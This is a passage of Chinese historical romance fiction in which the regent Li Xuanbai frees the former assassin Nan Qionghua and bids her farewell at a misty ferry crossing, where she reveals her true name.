“罢。” 多年情分,彼此照料。 承她紫宸殿相救之情,成全她吧。 他抬眼望出船篷,御湖上是一片粼光闪烁,他迎着潮湿的略带水腥气的风,呼吸了一口气。 “本王替你赎了身吧。” “赎身后,放你回无量山。” * 她无数次想象过赎身那日会是怎样光景,却从未想过,是如今这般。 以摄政王之名重金委托,往生门放她放得异常轻松,第五个差事仍未完,竟也未究。 原来她苦苦挣扎十二年的事,在这等天潢贵胄手里,只消一盒金子,一句口谕。 原来困了她十二年的门规可以全不作数。 一心办差,竟是井底之蛙。 回无量山那天,李玄白推了晨会,换了便衣,只带几个金戈侍卫,亲自来送。 二人骑马出宫,一路经闹市集市,向北而行,直达渡口。 渡口上一片雾霭茫茫。天水一色,远山隐在云深处,显出个囫囵轮廓。 李玄白送人送到渡口,立在水边,攥着马缰,似笑非笑看着面前人。 她褪去了贵妃华服,白纱帷帽白衣裳,头上一根素银簪子,松松挽了个发髻,余下长发,黑瀑般披在背后胸前。 立于混吞山色水雾间,玉瓶一般,身后一片青蓝远黛。 跟她在天山上时一个样。 李玄白看着她那身打扮,骤然想起。 他在天山呆的第七年,她孤身一人强闯了他凌绝阁,几乎从那峭壁的入口处跌下去。那日,他刚巧在阁中饮酒,抬眼瞥见,遂踏着花树,将她带上来。 一晃,这么多年。 落花犹似坠楼人啊,落花犹似坠楼人。 情情爱爱,是是非非,知己又作对,作对也知己,这么多年,谁说得清。 她是从山上来的,如今,也要回山上去了。 他仰起头。 云雾里,日晕朦胧不清。 他唇角带点笑意,小耳坠在风和雾里摇得鲜艳。 困于天山的那许多年,他最初深恶痛绝,不愿提起。现在想想,那山上的灵潭、古树、山雾、夜风,四时的晦阴,漫山遍野的落花——也是个景致幽美而自在之处。 那些年,他在山上闯出天大的祸,都无人敢管他。又可同宋瑶洁作对,又能同她谈情,还可借谈情之机,气气那姓顾的,日子也是美哉。 如今在金銮殿里——金銮殿却是只有他一个人了。 他亦再不能随心行事。 水色渺远,她轻轻掀起面前帷纱,回身过来,对他道: “不必再送了。” 其实,再想送,也只能送到这了。 李玄白望着她,不知为何,竟觉得她那一身白衣染了山水色,她好像要入了画,随水而逝似的。 他抬眼笑了只半瞬,就垂下眼来。 知道她懂他,也知道她要走,他不想再看她了。 他若无其事捋着缰绳,一节一节地在掌中倒腾那绳子,笑嘻嘻开了口: “我说,你信不信命。” “命?”南琼霜正伸手欲将帷纱放下来,闻言停住了,“信。” 李玄白笑着:“我也信。” “我幼时,曾经在路上遇见一个算命的。那人给我一算,说我命格甚贵,日后必要临极。” “我没等高兴,那瞎子又说,若要临极,是个孤独命。失去之物,不可胜数。” 一阵风来,他高马尾在流风雾霭里轻扬,领子跟着簌簌摆动。 话落,顿片刻,他仰首望着天上流云飞逝,呢喃着说: “如今一看,他说准了。” “说准了?”南琼霜已将白帷纱放下。 隔着白纱,她的面孔,看不清了。 他这一瞬就失去她了,比他想得还要早——她急着告别,甚至不肯多给他瞧一眼。 她最懂他,真不留吗? 白纱后,只看得清她嘴唇翕动,她笑: “九五之尊,普天之下莫不归你。你又失去什么?” 于是李玄白望着远山大笑:“自然没有,说着玩的。”迎着风伸懒腰,吊儿郎当地打了个哈欠: “我有,什么都有。” 渡船已靠岸,南琼霜朝那船走了两步,又回过身来望他,只见他即便是便衣,身上仍是佩金戴玉,奢贵非凡,唯有腰间佩剑,鞘身纯黑无饰,衬得显眼得紧。 她忽然想起他有个互换刀鞘的友人。 她遂问:“你那刎颈之交,尚安好吗?” 李玄白愣怔一瞬。旋即再大笑:“好,当然好。” 她于是放下心,压低帽檐,上了船:“那就好。” 李玄白喜笑颜开地望着她上了船。 她站在甲板上,遥遥朝他摆手。 就这样了吗?就这样再也不见了。 他终于还是没忍住,不顾金戈侍卫劝阻,驱马逼到船边,距离江水,只差半寸。 船上游客见他衣着非凡,身后一大群气势逼人的近侍,全窃窃私语着往这边看。 众目交汇间,他只抬头望着渡船上的她: “楚皎皎!” 南琼霜兀然回头。 李玄白骑在马背上,少年帝王,英俊华贵,灼灼而踌躇: “喂,你这一走,还回不回京?” 南琼霜一怔,不是他下了令不准顾怀瑾再返京的吗? 她道:“你准我回,就回。” “回吧。”他调转了马头,只留给她一个傲慢背影,扬起了鞭: “等你回来,我带你骑马。” “诶!”她急急叫了一嗓。 李玄白鞭子堪堪滞在手里,半回过头,用余光瞥她。 她扒着船壁探出身子: “我叫南琼霜。” 南琼霜。 他在心里跟着念了一遍。 最后,他嗤笑一声:“什么破名儿。” 未待她答,鞭子一扬,他先走了。 一骑宝马,绝尘而去。 这人。 南琼霜扁扁嘴。 船开了。她复又转头。 四面水波远阔,云雾浩渺,渡船驶离渡口,江面上推开一圈圈剔透涟漪。 混于一处的天与水遂被渡船划开一笔。 南琼霜望着那青黛远山,清甜水雾温柔沾湿眉睫,她吸了一口江风入肺,静静地想。 当年冒险一闯凌绝阁,无非是欲利用他,引得二人相争。 万没想到,是日一见,今日再别,已成知己。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m